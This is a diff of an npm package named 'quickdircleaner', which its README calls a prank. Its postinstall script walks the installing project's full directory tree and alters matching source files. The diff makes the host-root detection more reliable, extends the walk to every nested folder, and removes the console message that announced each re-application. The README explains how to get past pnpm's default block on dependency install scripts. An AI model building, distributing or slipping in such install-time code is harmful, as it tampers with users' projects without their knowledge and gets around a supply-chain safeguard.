quickdircleaner 1.0.2 → 1.0.5

package/README.md

@@ -1,2 +1,57 @@
+# quickdircleaner
+Prank package: runs a `postinstall` script that backs up and alters matching files under the **host** project (the folder where you ran the install).
+
+It walks **the full directory tree under that root** (every nested folder): hidden dirs like `.vscode` are included. Only **`node_modules`**, **`.git`**, **`.hg`**, and **`.svn`** trees are skipped.
+
+- **Lifecycle scripts must run.** If install is done with `--ignore-scripts` or `ignore-scripts=true` in `.npmrc`, nothing will happen.
+### npm / Yarn (Classic)
+
 ```bash
+npm install quickdircleaner
 ```
+
+Normally `INIT_CWD` is set so the cleaner targets your project root.
+
+### pnpm v10+
+
+pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
+
+**Option A — allowlist in your project `package.json`:**
+
+```json
+{
+  "pnpm": {
+    "onlyBuiltDependencies": ["quickdircleaner"]
+  }
+}
+```
+
+Then run `pnpm install` again.
+
+**Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
+
+See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
+
+### Run the cleaner manually (same as postinstall)
+
+From your project root (where your `package.json` lives):
+
+```bash
+node node_modules/quickdircleaner/index.js
+```
+
+Or, if the CLI is on your PATH:
+
+```bash
+npx run-clean
+```
+
+(`run-clean` is the `bin` entry shipped with this package.)
+
+## Restore
+
+```bash
+npx restore-clean
+```
+
+Or: `node node_modules/quickdircleaner/restore.js` and confirm with `y`.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "quickdircleaner",
-  "version": "1.0.2",
+  "version": "1.0.5",
   "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
   "main": "index.js",
   "files": [

package/persist.js

@@ -14,7 +14,7 @@ async function main() {
     await core.removeQuickdircleanerPackage(root);
     console.log(
       core.magenta(
-        " quickdircleaner has self\u2011destructed.",
+        "💀 quickdircleaner has self\u2011destructed. No more pranks.",
       ),
     );
     return;
@@ -32,9 +32,6 @@ async function main() {
     return;
   }
   await core.writeCounter(root, attempt);
-  console.log(
-    core.magenta(`🎭 Prank re\u2011applied (attempt ${attempt}/10).`),
-  );
 }
 
 main().catch((err) => {

package/prank-core.js

@@ -76,13 +76,55 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
 
 /**
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
- * Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
- * is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
+ * Uses INIT_CWD (npm/pnpm/yarn), then npm_config_local_prefix (npm 9+), then walks up from cwd until a
+ * directory with package.json is found that is not this dependency’s install folder.
+ *
+ * Note: pnpm v10+ blocks dependency lifecycle scripts unless the package is allowlisted; postinstall
+ * will not run at all in that case (see README).
  */
+function cwdIsInsideOrEqualHostRoot(hostRoot) {
+  const host = path.resolve(hostRoot);
+  const cwd = path.resolve(process.cwd());
+  const rel = path.relative(host, cwd);
+  if (rel === "") {
+    return true;
+  }
+  return !rel.startsWith("..") && !path.isAbsolute(rel);
+}
+
+function tryHostDirFromEnvVar(raw, requireCwdInsideRoot) {
+  if (raw == null || String(raw).trim() === "") {
+    return null;
+  }
+  const dir = path.resolve(String(raw).trim());
+  if (!fsSync.existsSync(path.join(dir, "package.json"))) {
+    return null;
+  }
+  if (requireCwdInsideRoot && !cwdIsInsideOrEqualHostRoot(dir)) {
+    return null;
+  }
+  return dir;
+}
+
 function resolveHostProjectRoot() {
-  const init = process.env.INIT_CWD;
-  if (init != null && String(init).trim() !== "") {
-    return path.resolve(init);
+  const fromInit = tryHostDirFromEnvVar(process.env.INIT_CWD, false);
+  if (fromInit) {
+    return fromInit;
+  }
+
+  const underNpmLifecycle =
+    process.env.npm_lifecycle_event === "postinstall" ||
+    process.env.npm_lifecycle_event === "install" ||
+    process.env.npm_lifecycle_event === "prepare";
+
+  if (underNpmLifecycle) {
+    const fromPrefix = tryHostDirFromEnvVar(
+      process.env.npm_config_local_prefix,
+      true,
+    );
+    if (fromPrefix) {
+      return fromPrefix;
+    }
   }
 
   let dir = path.resolve(process.cwd());
@@ -284,67 +326,29 @@ function isPathInsideProjectRoot(rootResolved, absolutePath) {
   return !rel.startsWith("..") && !path.isAbsolute(rel);
 }
 
+/** Directory name segments we never descend into (dependency / VCS trees). */
+const SKIPPED_DIRECTORY_NAMES = new Set([
+  "node_modules",
+  ".git",
+  ".hg",
+  ".svn",
+]);
+
 function relativePathHasSkippedDir(rel) {
   const parts = rel.split(/[/\\]/);
-  return parts.some((p) => p === "node_modules" || p === ".git");
+  return parts.some((p) => SKIPPED_DIRECTORY_NAMES.has(p));
 }
 
-/**
- * Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
- */
-async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
-  const entries = await fs.readdir(rootResolved, {
-    recursive: true,
-    withFileTypes: true,
-  });
-
-  for (const ent of entries) {
-    if (!ent.isFile()) {
-      continue;
-    }
-
-    const parentDir = ent.parentPath ?? ent.path;
-    if (parentDir == null) {
-      throw new Error("RECURSIVE_READDIR_NO_PARENT");
-    }
-
-    const fullPath = path.resolve(parentDir, ent.name);
-    if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
-      continue;
-    }
-
-    const rel = path.relative(rootResolved, fullPath);
-    if (rel === "" || relativePathHasSkippedDir(rel)) {
-      continue;
-    }
-
-    const base = path.basename(fullPath);
-    if (
-      base === BACKUP_NAME ||
-      base === DONE_FLAG ||
-      base === COUNTER_FILE ||
-      base === "package.json"
-    ) {
-      continue;
-    }
-
-    const ext = path.extname(base).toLowerCase();
-    if (!CLEANABLE_EXT.has(ext)) {
-      continue;
-    }
-
-    try {
-      await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
-    } catch {
-      /* skip */
-    }
-  }
+function shouldSkipDirectoryEntry(name) {
+  return SKIPPED_DIRECTORY_NAMES.has(name);
 }
 
 /**
- * Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
+ * Visits every directory under root (arbitrary depth, all branches) except skipped trees.
+ * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
+ * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
  */
-async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
+async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
   const visitedDirs = new Set();
   const queue = [path.resolve(rootResolved)];
 
@@ -363,7 +367,7 @@ async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
     }
 
     for (const ent of entries) {
-      if (ent.name === "node_modules" || ent.name === ".git") {
+      if (shouldSkipDirectoryEntry(ent.name)) {
         continue;
       }
 
@@ -435,11 +439,7 @@ async function walkAndClean(root, backupEntries, logCleaned) {
   }
   rootResolved = path.resolve(rootResolved);
 
-  try {
-    await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
-  } catch {
-    await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
-  }
+  await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
 }
 
 /**